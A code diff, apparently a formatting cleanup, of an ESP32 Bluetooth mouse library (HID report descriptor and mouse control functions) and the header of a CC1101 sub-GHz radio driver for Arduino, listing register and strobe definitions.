| 47 | + | USAGE(1), 0x38, // USAGE (Wheel) | |
| 48 | + | LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) | |
| 49 | + | LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) | |
| 50 | + | REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) | |
| 51 | + | REPORT_COUNT(1), 0x03, // REPORT_COUNT (3) | |
| 52 | + | HIDINPUT(1), | |
| 53 | + | 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel) | |
| 54 | + | // ------------------------------------------------- Horizontal wheel | |
| 55 | + | USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices) | |
| 56 | + | USAGE(2), 0x38, 0x02, // USAGE (AC Pan) | |
| 57 | + | LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) | |
| 58 | + | LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) | |
| 59 | + | REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) | |
| 60 | + | REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) | |
| 61 | + | HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel) | |
| 62 | + | END_COLLECTION(0), // END_COLLECTION | |
| 63 | + | END_COLLECTION(0) // END_COLLECTION | |
| 61 | 64 | }; | |
| 62 | 65 | ||
| 63 | − | BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) : | |
| 64 | − | _buttons(0), | |
| 65 | − | hid(0) | |
| 66 | − | { | |
| 67 | − | this->deviceName = deviceName; | |
| 68 | − | this->deviceManufacturer = deviceManufacturer; | |
| 69 | − | this->batteryLevel = batteryLevel; | |
| 70 | − | this->connectionStatus = new BleConnectionStatus(); | |
| 66 | + | BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, | |
| 67 | + | uint8_t batteryLevel) | |
| 68 | + | : _buttons(0), hid(0) { | |
| 69 | + | this->deviceName = deviceName; | |
| 70 | + | this->deviceManufacturer = deviceManufacturer; | |
| 71 | + | this->batteryLevel = batteryLevel; | |
| 72 | + | this->connectionStatus = new BleConnectionStatus(); | |
| 71 | 73 | } | |
| 72 | 74 | ||
| 73 | − | void BleMouse::begin(void) | |
| 74 | − | { | |
| 75 | − | xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL); | |
| 75 | + | void BleMouse::begin(void) { | |
| 76 | + | xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL); | |
| 76 | 77 | } | |
| 77 | 78 | ||
| 78 | − | void BleMouse::end(void) | |
| 79 | − | { | |
| 80 | − | } | |
| 79 | + | void BleMouse::end(void) {} | |
| 81 | 80 | ||
| 82 | − | void BleMouse::click(uint8_t b) | |
| 83 | − | { | |
| 84 | − | _buttons = b; | |
| 85 | − | move(0,0,0,0); | |
| 86 | − | _buttons = 0; | |
| 87 | − | move(0,0,0,0); | |
| 81 | + | void BleMouse::click(uint8_t b) { | |
| 82 | + | _buttons = b; | |
| 83 | + | move(0, 0, 0, 0); | |
| 84 | + | _buttons = 0; | |
| 85 | + | move(0, 0, 0, 0); | |
| 88 | 86 | } | |
| 89 | 87 | ||
| 90 | − | void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel) | |
| 91 | − | { | |
| 92 | − | if (this->isConnected()) | |
| 93 | − | { | |
| 94 | − | uint8_t m[5]; | |
| 95 | − | m[0] = _buttons; | |
| 96 | − | m[1] = x; | |
| 97 | − | m[2] = y; | |
| 98 | − | m[3] = wheel; | |
| 99 | − | m[4] = hWheel; | |
| 100 | − | this->inputMouse->setValue(m, 5); | |
| 101 | − | this->inputMouse->notify(); | |
| 102 | − | } | |
| 88 | + | void BleMouse::move(signed char x, signed char y, signed char wheel, | |
| 89 | + | signed char hWheel) { | |
| 90 | + | if (this->isConnected()) { | |
| 91 | + | uint8_t m[5]; | |
| 92 | + | m[0] = _buttons; | |
| 93 | + | m[1] = x; | |
| 94 | + | m[2] = y; | |
| 95 | + | m[3] = wheel; | |
| 96 | + | m[4] = hWheel; | |
| 97 | + | this->inputMouse->setValue(m, 5); | |
| 98 | + | this->inputMouse->notify(); | |
| 99 | + | } | |
| 103 | 100 | } | |
| 104 | 101 | ||
| 105 | − | void BleMouse::buttons(uint8_t b) | |
| 106 | − | { | |
| 107 | − | if (b != _buttons) | |
| 108 | − | { | |
| 109 | − | _buttons = b; | |
| 110 | − | move(0,0,0,0); | |
| 111 | − | } | |
| 102 | + | void BleMouse::buttons(uint8_t b) { | |
| 103 | + | if (b != _buttons) { | |
| 104 | + | _buttons = b; | |
| 105 | + | move(0, 0, 0, 0); | |
| 106 | + | } | |
| 112 | 107 | } | |
| 113 | 108 | ||
| 114 | − | void BleMouse::press(uint8_t b) | |
| 115 | − | { | |
| 116 | − | buttons(_buttons | b); | |
| 117 | − | } | |
| 109 | + | void BleMouse::press(uint8_t b) { buttons(_buttons | b); } | |
| 118 | 110 | ||
| 119 | − | void BleMouse::release(uint8_t b) | |
| 120 | − | { | |
| 121 | − | buttons(_buttons & ~b); | |
| 122 | − | } | |
| 111 | + | void BleMouse::release(uint8_t b) { buttons(_buttons & ~b); } | |
| 123 | 112 | ||
| 124 | − | bool BleMouse::isPressed(uint8_t b) | |
| 125 | − | { | |
| 126 | − | if ((b & _buttons) > 0) | |
| 127 | − | return true; | |
| 128 | − | return false; | |
| 113 | + | bool BleMouse::isPressed(uint8_t b) { | |
| 114 | + | if ((b & _buttons) > 0) | |
| 115 | + | return true; | |
| 116 | + | return false; | |
| 129 | 117 | } | |
| 130 | 118 | ||
| 131 | − | bool BleMouse::isConnected(void) { | |
| 132 | − | return this->connectionStatus->connected; | |
| 133 | − | } | |
| 119 | + | bool BleMouse::isConnected(void) { return this->connectionStatus->connected; } | |
| 134 | 120 | ||
| 135 | 121 | void BleMouse::setBatteryLevel(uint8_t level) { | |
| 136 | − | this->batteryLevel = level; | |
| 137 | − | if (hid != 0) | |
| 138 | − | this->hid->setBatteryLevel(this->batteryLevel); | |
| 122 | + | this->batteryLevel = level; | |
| 123 | + | if (hid != 0) | |
| 124 | + | this->hid->setBatteryLevel(this->batteryLevel); | |
| 139 | 125 | } | |
| 140 | 126 | ||
| 141 | − | void BleMouse::taskServer(void* pvParameter) { | |
| 142 | − | BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter); | |
| 143 | − | BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str())); | |
| 144 | − | BLEServer *pServer = BLEDevice::createServer(); | |
| 145 | − | pServer->setCallbacks(bleMouseInstance->connectionStatus); | |
| 127 | + | void BleMouse::taskServer(void *pvParameter) { | |
| 128 | + | BleMouse *bleMouseInstance = | |
| 129 | + | (BleMouse *)pvParameter; // static_cast<BleMouse *>(pvParameter); | |
| 130 | + | BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str())); | |
| 131 | + | BLEServer *pServer = BLEDevice::createServer(); | |
| 132 | + | pServer->setCallbacks(bleMouseInstance->connectionStatus); | |
| 146 | 133 | ||
| 147 | − | bleMouseInstance->hid = new BLEHIDDevice(pServer); | |
| 148 | − | bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map | |
| 149 | − | bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse; | |
| 134 | + | bleMouseInstance->hid = new BLEHIDDevice(pServer); | |
| 135 | + | bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport( | |
| 136 | + | 0); // <-- input REPORTID from report map | |
| 137 | + | bleMouseInstance->connectionStatus->inputMouse = | |
| 138 | + | bleMouseInstance->inputMouse; | |
| 150 | 139 | ||
| 151 | − | bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str())); | |
| 140 | + | bleMouseInstance->hid->manufacturer()->setValue( | |
| 141 | + | std::string(bleMouseInstance->deviceManufacturer.c_str())); | |
| 152 | 142 | ||
| 153 | − | bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210); | |
| 154 | − | bleMouseInstance->hid->hidInfo(0x00,0x02); | |
| 143 | + | bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210); | |
| 144 | + | bleMouseInstance->hid->hidInfo(0x00, 0x02); | |
| 155 | 145 | ||
| 156 | − | BLESecurity *pSecurity = new BLESecurity(); | |
| 146 | + | BLESecurity *pSecurity = new BLESecurity(); | |
| 157 | 147 | ||
| 158 | − | pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND); | |
| 148 | + | pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND); | |
| 159 | 149 | ||
| 160 | − | bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor)); | |
| 161 | − | bleMouseInstance->hid->startServices(); | |
| 150 | + | bleMouseInstance->hid->reportMap((uint8_t *)_hidReportDescriptor, | |
| 151 | + | sizeof(_hidReportDescriptor)); | |
| 152 | + | bleMouseInstance->hid->startServices(); | |
| 162 | 153 | ||
| 163 | − | bleMouseInstance->onStarted(pServer); | |
| 154 | + | bleMouseInstance->onStarted(pServer); | |
| 164 | 155 | ||
| 165 | − | BLEAdvertising *pAdvertising = pServer->getAdvertising(); | |
| 166 | − | pAdvertising->setAppearance(HID_MOUSE); | |
| 167 | − | pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID()); | |
| 168 | − | pAdvertising->start(); | |
| 169 | − | bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel); | |
| 156 | + | BLEAdvertising *pAdvertising = pServer->getAdvertising(); | |
| 157 | + | pAdvertising->setAppearance(HID_MOUSE); | |
| 158 | + | pAdvertising->addServiceUUID( | |
| 159 | + | bleMouseInstance->hid->hidService()->getUUID()); | |
| 160 | + | pAdvertising->start(); | |
| 161 | + | bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel); | |
| 170 | 162 | ||
| 171 | − | ESP_LOGD(LOG_TAG, "Advertising started!"); | |
| 172 | − | vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY); | |
| 163 | + | ESP_LOGD(LOG_TAG, "Advertising started!"); | |
| 164 | + | vTaskDelay(portMAX_DELAY); // delay(portMAX_DELAY); | |
| 173 | 165 | } | |
| @@ -3,42 +3,49 @@ | |||
| 3 | 3 | #include "sdkconfig.h" | |
| 4 | 4 | #if defined(CONFIG_BT_ENABLED) | |
| 5 | 5 | ||
| 6 | − | #include "BleConnectionStatus.h" | |
| 7 | − | #include "BLEHIDDevice.h" | |
| 8 | 6 | #include "BLECharacteristic.h" | |
| 7 | + | #include "BLEHIDDevice.h" | |
| 8 | + | #include "BleConnectionStatus.h" | |
| 9 | 9 | ||
| 10 | 10 | #define MOUSE_LEFT 1 | |
| 11 | 11 | #define MOUSE_RIGHT 2 | |
| 12 | 12 | #define MOUSE_MIDDLE 4 | |
| 13 | 13 | #define MOUSE_BACK 8 | |
| 14 | 14 | #define MOUSE_FORWARD 16 | |
| 15 | − | #define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library | |
| 15 | + | #define MOUSE_ALL \ | |
| 16 | + | (MOUSE_LEFT | MOUSE_RIGHT | \ | |
| 17 | + | MOUSE_MIDDLE) #For compatibility with the Mouse library | |
| 16 | 18 | ||
| 17 | 19 | class BleMouse { | |
| 18 | − | private: | |
| 19 | − | uint8_t _buttons; | |
| 20 | − | BleConnectionStatus* connectionStatus; | |
| 21 | − | BLEHIDDevice* hid; | |
| 22 | − | BLECharacteristic* inputMouse; | |
| 23 | − | void buttons(uint8_t b); | |
| 24 | − | void rawAction(uint8_t msg[], char msgSize); | |
| 25 | − | static void taskServer(void* pvParameter); | |
| 26 | − | public: | |
| 27 | − | BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100); | |
| 28 | − | void begin(void); | |
| 29 | − | void end(void); | |
| 30 | − | void click(uint8_t b = MOUSE_LEFT); | |
| 31 | − | void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0); | |
| 32 | − | void press(uint8_t b = MOUSE_LEFT); // press LEFT by default | |
| 33 | − | void release(uint8_t b = MOUSE_LEFT); // release LEFT by default | |
| 34 | − | bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default | |
| 35 | − | bool isConnected(void); | |
| 36 | − | void setBatteryLevel(uint8_t level); | |
| 37 | − | uint8_t batteryLevel; | |
| 38 | − | std::string deviceManufacturer; | |
| 39 | − | std::string deviceName; | |
| 40 | − | protected: | |
| 41 | − | virtual void onStarted(BLEServer *pServer) { }; | |
| 20 | + | private: | |
| 21 | + | uint8_t _buttons; | |
| 22 | + | BleConnectionStatus *connectionStatus; | |
| 23 | + | BLEHIDDevice *hid; | |
| 24 | + | BLECharacteristic *inputMouse; | |
| 25 | + | void buttons(uint8_t b); | |
| 26 | + | void rawAction(uint8_t msg[], char msgSize); | |
| 27 | + | static void taskServer(void *pvParameter); | |
| 28 | + | ||
| 29 | + | public: | |
| 30 | + | BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", | |
| 31 | + | std::string deviceManufacturer = "Espressif", | |
| 32 | + | uint8_t batteryLevel = 100); | |
| 33 | + | void begin(void); | |
| 34 | + | void end(void); | |
| 35 | + | void click(uint8_t b = MOUSE_LEFT); | |
| 36 | + | void move(signed char x, signed char y, signed char wheel = 0, | |
| 37 | + | signed char hWheel = 0); | |
| 38 | + | void press(uint8_t b = MOUSE_LEFT); // press LEFT by default | |
| 39 | + | void release(uint8_t b = MOUSE_LEFT); // release LEFT by default | |
| 40 | + | bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default | |
| 41 | + | bool isConnected(void); | |
| 42 | + | void setBatteryLevel(uint8_t level); | |
| 43 | + | uint8_t batteryLevel; | |
| 44 | + | std::string deviceManufacturer; | |
| 45 | + | std::string deviceName; | |
| 46 | + | ||
| 47 | + | protected: | |
| 48 | + | virtual void onStarted(BLEServer *pServer) {}; | |
| 42 | 49 | }; | |
| 43 | 50 | ||
| 44 | 51 | #endif // CONFIG_BT_ENABLED | |
[Diff too large] View file
| @@ -5,12 +5,13 @@ | |||
| 5 | 5 | Version: November 12, 2010 | |
| 6 | 6 | ||
| 7 | 7 | This library is designed to use CC1101/CC1100 module on Arduino platform. | |
| 8 | − | CC1101/CC1100 module is an useful wireless module.Using the functions of the | |
| 9 | − | library, you can easily send and receive data by the CC1101/CC1100 module. | |
| 8 | + | CC1101/CC1100 module is an useful wireless module.Using the functions of the | |
| 9 | + | library, you can easily send and receive data by the CC1101/CC1100 module. | |
| 10 | 10 | Just have fun! | |
| 11 | 11 | For the details, please refer to the datasheet of CC1100/CC1101. | |
| 12 | 12 | ---------------------------------------------------------------------------------------------------------------- | |
| 13 | − | cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). | |
| 13 | + | cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and | |
| 14 | + | publish Wilson Shen (ELECHOUSE). | |
| 14 | 15 | ---------------------------------------------------------------------------------------------------------------- | |
| 15 | 16 | */ | |
| 16 | 17 | #ifndef ELECHOUSE_CC1101_SRC_DRV_h | |
| @@ -18,175 +19,183 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and | |||
| 18 | 19 | ||
| 19 | 20 | #include <Arduino.h> | |
| 20 | 21 | ||
| 21 | − | //***************************************CC1101 define**************************************************// | |
| 22 | + | //***************************************CC1101 | |
| 23 | + | //define**************************************************// | |
| 22 | 24 | // CC1101 CONFIG REGSITER | |
| 23 | − | #define CC1101_IOCFG2 0x00 // GDO2 output pin configuration | |
| 24 | − | #define CC1101_IOCFG1 0x01 // GDO1 output pin configuration | |
| 25 | − | #define CC1101_IOCFG0 0x02 // GDO0 output pin configuration | |
| 26 | − | #define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds | |
| 27 | − | #define CC1101_SYNC1 0x04 // Sync word, high INT8U | |
| 28 | − | #define CC1101_SYNC0 0x05 // Sync word, low INT8U | |
| 29 | − | #define CC1101_PKTLEN 0x06 // Packet length | |
| 30 | − | #define CC1101_PKTCTRL1 0x07 // Packet automation control | |
| 31 | − | #define CC1101_PKTCTRL0 0x08 // Packet automation control | |
| 32 | − | #define CC1101_ADDR 0x09 // Device address | |
| 33 | − | #define CC1101_CHANNR 0x0A // Channel number | |
| 34 | − | #define CC1101_FSCTRL1 0x0B // Frequency synthesizer control | |
| 35 | − | #define CC1101_FSCTRL0 0x0C // Frequency synthesizer control | |
| 36 | − | #define CC1101_FREQ2 0x0D // Frequency control word, high INT8U | |
| 37 | − | #define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U | |
| 38 | − | #define CC1101_FREQ0 0x0F // Frequency control word, low INT8U | |
| 39 | − | #define CC1101_MDMCFG4 0x10 // Modem configuration | |
| 40 | − | #define CC1101_MDMCFG3 0x11 // Modem configuration | |
| 41 | − | #define CC1101_MDMCFG2 0x12 // Modem configuration | |
| 42 | − | #define CC1101_MDMCFG1 0x13 // Modem configuration | |
| 43 | − | #define CC1101_MDMCFG0 0x14 // Modem configuration | |
| 44 | − | #define CC1101_DEVIATN 0x15 // Modem deviation setting | |
| 45 | − | #define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration | |
| 46 | − | #define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration | |
| 47 | − | #define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration | |
| 48 | − | #define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration | |
| 49 | − | #define CC1101_BSCFG 0x1A // Bit Synchronization configuration | |
| 50 | − | #define CC1101_AGCCTRL2 0x1B // AGC control | |
| 51 | − | #define CC1101_AGCCTRL1 0x1C // AGC control | |
| 52 | − | #define CC1101_AGCCTRL0 0x1D // AGC control | |
| 53 | − | #define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout | |
| 54 | − | #define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout | |
| 55 | − | #define CC1101_WORCTRL 0x20 // Wake On Radio control | |
| 56 | − | #define CC1101_FREND1 0x21 // Front end RX configuration | |
| 57 | − | #define CC1101_FREND0 0x22 // Front end TX configuration | |
| 58 | − | #define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration | |
| 59 | − | #define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration | |
| 60 | − | #define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration | |
| 61 | − | #define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration | |
| 62 | − | #define CC1101_RCCTRL1 0x27 // RC oscillator configuration | |
| 63 | − | #define CC1101_RCCTRL0 0x28 // RC oscillator configuration | |
| 64 | − | #define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control | |
| 65 | − | #define CC1101_PTEST 0x2A // Production test | |
| 66 | − | #define CC1101_AGCTEST 0x2B // AGC test | |
| 67 | − | #define CC1101_TEST2 0x2C // Various test settings | |
| 68 | − | #define CC1101_TEST1 0x2D // Various test settings | |
| 69 | − | #define CC1101_TEST0 0x2E // Various test settings | |
| 25 | + | #define CC1101_IOCFG2 0x00 // GDO2 output pin configuration | |
| 26 | + | #define CC1101_IOCFG1 0x01 // GDO1 output pin configuration | |
| 27 | + | #define CC1101_IOCFG0 0x02 // GDO0 output pin configuration | |
| 28 | + | #define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds | |
| 29 | + | #define CC1101_SYNC1 0x04 // Sync word, high INT8U | |
| 30 | + | #define CC1101_SYNC0 0x05 // Sync word, low INT8U | |
| 31 | + | #define CC1101_PKTLEN 0x06 // Packet length | |
| 32 | + | #define CC1101_PKTCTRL1 0x07 // Packet automation control | |
| 33 | + | #define CC1101_PKTCTRL0 0x08 // Packet automation control | |
| 34 | + | #define CC1101_ADDR 0x09 // Device address | |
| 35 | + | #define CC1101_CHANNR 0x0A // Channel number | |
| 36 | + | #define CC1101_FSCTRL1 0x0B // Frequency synthesizer control | |
| 37 | + | #define CC1101_FSCTRL0 0x0C // Frequency synthesizer control | |
| 38 | + | #define CC1101_FREQ2 0x0D // Frequency control word, high INT8U | |
| 39 | + | #define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U | |
| 40 | + | #define CC1101_FREQ0 0x0F // Frequency control word, low INT8U | |
| 41 | + | #define CC1101_MDMCFG4 0x10 // Modem configuration | |
| 42 | + | #define CC1101_MDMCFG3 0x11 // Modem configuration | |
| 43 | + | #define CC1101_MDMCFG2 0x12 // Modem configuration | |
| 44 | + | #define CC1101_MDMCFG1 0x13 // Modem configuration | |
| 45 | + | #define CC1101_MDMCFG0 0x14 // Modem configuration | |
| 46 | + | #define CC1101_DEVIATN 0x15 // Modem deviation setting | |
| 47 | + | #define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration | |
| 48 | + | #define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration | |
| 49 | + | #define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration | |
| 50 | + | #define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration | |
| 51 | + | #define CC1101_BSCFG 0x1A // Bit Synchronization configuration | |
| 52 | + | #define CC1101_AGCCTRL2 0x1B // AGC control | |
| 53 | + | #define CC1101_AGCCTRL1 0x1C // AGC control | |
| 54 | + | #define CC1101_AGCCTRL0 0x1D // AGC control | |
| 55 | + | #define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout | |
| 56 | + | #define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout | |
| 57 | + | #define CC1101_WORCTRL 0x20 // Wake On Radio control | |
| 58 | + | #define CC1101_FREND1 0x21 // Front end RX configuration | |
| 59 | + | #define CC1101_FREND0 0x22 // Front end TX configuration | |
| 60 | + | #define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration | |
| 61 | + | #define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration | |
| 62 | + | #define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration | |
| 63 | + | #define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration | |
| 64 | + | #define CC1101_RCCTRL1 0x27 // RC oscillator configuration | |
| 65 | + | #define CC1101_RCCTRL0 0x28 // RC oscillator configuration | |
| 66 | + | #define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control | |
| 67 | + | #define CC1101_PTEST 0x2A // Production test | |
| 68 | + | #define CC1101_AGCTEST 0x2B // AGC test | |
| 69 | + | #define CC1101_TEST2 0x2C // Various test settings | |
| 70 | + | #define CC1101_TEST1 0x2D // Various test settings | |
| 71 | + | #define CC1101_TEST0 0x2E // Various test settings | |
| 70 | 72 | ||
| 71 | − | //CC1101 Strobe commands | |
| 72 | − | #define CC1101_SRES 0x30 // Reset chip. | |
| 73 | − | #define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). | |
| 74 | − | // If in RX/TX: Go to a wait state where only the synthesizer is | |
| 75 | − | // running (for quick RX / TX turnaround). | |
| 76 | − | #define CC1101_SXOFF 0x32 // Turn off crystal oscillator. | |
| 77 | − | #define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off | |
| 78 | − | // (enables quick start). | |
| 79 | − | #define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and | |
| 80 | − | // MCSM0.FS_AUTOCAL=1. | |
| 81 | − | #define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if | |
| 82 | − | // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: | |
| 83 | − | // Only go to TX if channel is clear. | |
| 84 | − | #define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit | |
| 85 | − | // Wake-On-Radio mode if applicable. | |
| 86 | − | #define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer | |
| 87 | − | #define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) | |
| 88 | − | #define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. | |
| 89 | − | #define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. | |
| 90 | − | #define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. | |
| 91 | − | #define CC1101_SWORRST 0x3C // Reset real time clock. | |
| 92 | − | #define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two | |
| 93 | − | // INT8Us for simpler software. | |
| 94 | − | //CC1101 STATUS REGSITER | |
| 95 | − | #define CC1101_PARTNUM 0x30 | |
| 96 | − | #define CC1101_VERSION 0x31 | |
| 97 | − | #define CC1101_FREQEST 0x32 | |
| 98 | − | #define CC1101_LQI 0x33 | |
| 99 | − | #define CC1101_RSSI 0x34 | |
| 100 | − | #define CC1101_MARCSTATE 0x35 | |
| 101 | − | #define CC1101_WORTIME1 0x36 | |
| 102 | − | #define CC1101_WORTIME0 0x37 | |
| 103 | − | #define CC1101_PKTSTATUS 0x38 | |
| 104 | − | #define CC1101_VCO_VC_DAC 0x39 | |
| 105 | − | #define CC1101_TXBYTES 0x3A | |
| 106 | − | #define CC1101_RXBYTES 0x3B | |
| 73 | + | // CC1101 Strobe commands | |
| 74 | + | #define CC1101_SRES 0x30 // Reset chip. | |
| 75 | + | #define CC1101_SFSTXON \ | |
| 76 | + | 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). | |
| 77 | + | // If in RX/TX: Go to a wait state where only the synthesizer is | |
| 78 | + | // running (for quick RX / TX turnaround). | |
| 79 | + | #define CC1101_SXOFF 0x32 // Turn off crystal oscillator. | |
| 80 | + | #define CC1101_SCAL \ | |
| 81 | + | 0x33 // Calibrate frequency synthesizer and turn it off | |
| 82 | + | // (enables quick start). | |
| 83 | + | #define CC1101_SRX \ | |
| 84 | + | 0x34 // Enable RX. Perform calibration first if coming from IDLE and | |
| 85 | + | // MCSM0.FS_AUTOCAL=1. | |
| 86 | + | #define CC1101_STX \ | |
| 87 | + | 0x35 // In IDLE state: Enable TX. Perform calibration first if | |
| 88 | + | // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: | |
| 89 | + | // Only go to TX if channel is clear. | |
| 90 | + | #define CC1101_SIDLE \ | |
| 91 | + | 0x36 // Exit RX / TX, turn off frequency synthesizer and exit | |
| 92 | + | // Wake-On-Radio mode if applicable. | |
| 93 | + | #define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer | |
| 94 | + | #define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) | |
| 95 | + | #define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. | |
| 96 | + | #define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. | |
| 97 | + | #define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. | |
| 98 | + | #define CC1101_SWORRST 0x3C // Reset real time clock. | |
| 99 | + | #define CC1101_SNOP \ | |
| 100 | + | 0x3D // No operation. May be used to pad strobe commands to two | |
| 101 | + | // INT8Us for simpler software. | |
| 102 | + | // CC1101 STATUS REGSITER | |
| 103 | + | #define CC1101_PARTNUM 0x30 | |
| 104 | + | #define CC1101_VERSION 0x31 | |
| 105 | + | #define CC1101_FREQEST 0x32 | |
| 106 | + | #define CC1101_LQI 0x33 | |
| 107 | + | #define CC1101_RSSI 0x34 | |
| 108 | + | #define CC1101_MARCSTATE 0x35 | |
| 109 | + | #define CC1101_WORTIME1 0x36 | |
| 110 | + | #define CC1101_WORTIME0 0x37 | |
| 111 | + | #define CC1101_PKTSTATUS 0x38 | |
| 112 | + | #define CC1101_VCO_VC_DAC 0x39 | |
| 113 | + | #define CC1101_TXBYTES 0x3A | |
| 114 | + | #define CC1101_RXBYTES 0x3B | |
| 107 | 115 | ||
| 108 | − | //CC1101 PATABLE,TXFIFO,RXFIFO | |
| 109 | − | #define CC1101_PATABLE 0x3E | |
| 110 | − | #define CC1101_TXFIFO 0x3F | |
| 111 | − | #define CC1101_RXFIFO 0x3F | |
| 116 | + | // CC1101 PATABLE,TXFIFO,RXFIFO | |
| 117 | + | #define CC1101_PATABLE 0x3E | |
| 118 | + | #define CC1101_TXFIFO 0x3F | |
| 119 | + | #define CC1101_RXFIFO 0x3F | |
| 112 | 120 | ||
| 113 | − | //************************************* class **************************************************// | |
| 114 | − | class ELECHOUSE_CC1101 | |
| 115 | − | { | |
| 116 | − | private: | |
| 117 | − | void SpiStart(void); | |
| 118 | − | void SpiEnd(void); | |
| 119 | − | void GDO_Set (void); | |
| 120 | − | void GDO0_Set (void); | |
| 121 | − | void Reset (void); | |
| 122 | − | void setSpi(void); | |
| 123 | − | void RegConfigSettings(void); | |
| 124 | − | void Calibrate(void); | |
| 125 | − | void Split_PKTCTRL0(void); | |
| 126 | − | void Split_PKTCTRL1(void); | |
| 127 | − | void Split_MDMCFG1(void); | |
| 128 | − | void Split_MDMCFG2(void); | |
| 129 | − | void Split_MDMCFG4(void); | |
| 130 | − | public: | |
| 131 | − | void Init(void); | |
| 132 | − | byte SpiReadStatus(byte addr); | |
| 133 | − | void setSpiPin(byte sck, byte miso, byte mosi, byte ss); | |
| 134 | − | void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); | |
| 135 | − | void setGDO(byte gdo0, byte gdo2); | |
| 136 | − | void setGDO0(byte gdo0); | |
| 137 | − | void addGDO(byte gdo0, byte gdo2, byte modul); | |
| 138 | − | void addGDO0(byte gdo0, byte modul); | |
| 139 | − | void setModul(byte modul); | |
| 140 | − | void setCCMode(bool s); | |
| 141 | − | void setModulation(byte m); | |
| 142 | − | void setPA(int p); | |
